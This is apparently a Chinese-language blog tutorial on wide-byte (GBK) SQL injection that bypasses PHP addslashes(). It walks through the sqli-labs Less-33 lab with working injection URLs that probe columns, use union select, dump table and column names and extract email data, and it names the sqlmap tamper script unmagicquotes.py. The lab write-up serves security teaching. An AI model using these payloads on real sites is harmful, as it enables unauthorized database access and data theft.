点我

SQL注入【宽字节注入】

原理

  • 编码:将信息(如数字、文字、图像等)转换成特定格式或符号系统的过程,目的是便于存储、处理、传输或加密信息。
  • 解码:解码是编码的逆过程,即将编码后的信息还原成原始形式。

    例如:‘ --> %27

常见编码:

  • ASCII编码:美国信息交换标准代码,使用1个字节(8位)表示一个字符,共能表示256个字符。适用于表示英文字符和一些基本符号
  • Unicode编码:为了解决ASCII编码无法表示世界上各种语言字符的问题,Unicode编码可以表示超过100,000个字符,覆盖了世界上大部分语言。常见的有UTF-8、UTF-16、UTF-32等编码形式。
  • GBK编码:汉字编码扩展规范,用于表示简体中文字符,兼容ASCII编码,能表示21000多个汉字。

占用字节:

  • ASCII编码:每个字符占用1个字节,可以表示128个不同的字符。
  • UTF-8编码:字符可以占用1到4个字节,用于表示Unicode字符集中的字符,支持多种语言的文本表示。
  • GBK编码:对于ASCII字符集之外的字符,如汉字、特殊符号等,GBK编码使用2个字节来表示。

    GBK编码通过使用1个或2个字节的灵活编码方式,能够兼容ASCII字符集并扩展支持更多的字符,特别是汉字字符集。

示例:

  • ASCII字符:字符'A'在GBK编码中占用1个字节
  • 汉字“汉”在GBK编码中占用2个字节

addslashes()函数

addslashes ( string `$str` ) : string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。

只要注入'  "  \ 空字符 都会转义为 \'  \" \\ \   
魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】

利用场景

如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入

%DF':    

- 会被PHP当中的addslashes函数转义为:%DF\'   
- \ 会被URL编码为 %5C
- 那么 %DF'  会被转义为 %DF%5C%27
- %DF%5C%27是一个宽字节 也就是一个縗'
从而可以进行构造闭合,进行注入
小技巧:有的时候我们也可以用16进制来代替字符串

URL编码

  • %27---------单引号
  • %20----------空格
  • %23-----------#号
  • %5c------------\反斜杠

靶场Less-33

1、访问网站

image-20250210085830151

image-20250210085842974

2、当在id后面加上反斜杠时

image-20250210085930045

反斜杠被进行了转义

3、输入单引号时

image-20250210090014464

同样被进行了转义

4、输入%DF'时

image-20250210090114485

网页进行了报错

5、加上注释符之后成功闭合

image-20250210090148467

6、探测字段数

http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe

image-20250210090518775

http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe

image-20250210090548489

7、探测显示位

http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe

image-20250210090653144

8、当前数据库和版本号

http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe

image-20250210090835379

9、爆表

http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

image-20250210091232003

10、爆字段数

爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。

emails对应的16进制为0x656d61696c73

http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe

image-20250210091614911

11、出数据

http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe

image-20250210091720643

SQLMap跑宽字节注入

在已知存在宽字节注入的情况下,可使用sqlmap的参数:
 --tamper  unmagicquotes.py
分类: WEB安全

评论

-- 评论已关闭 --

目录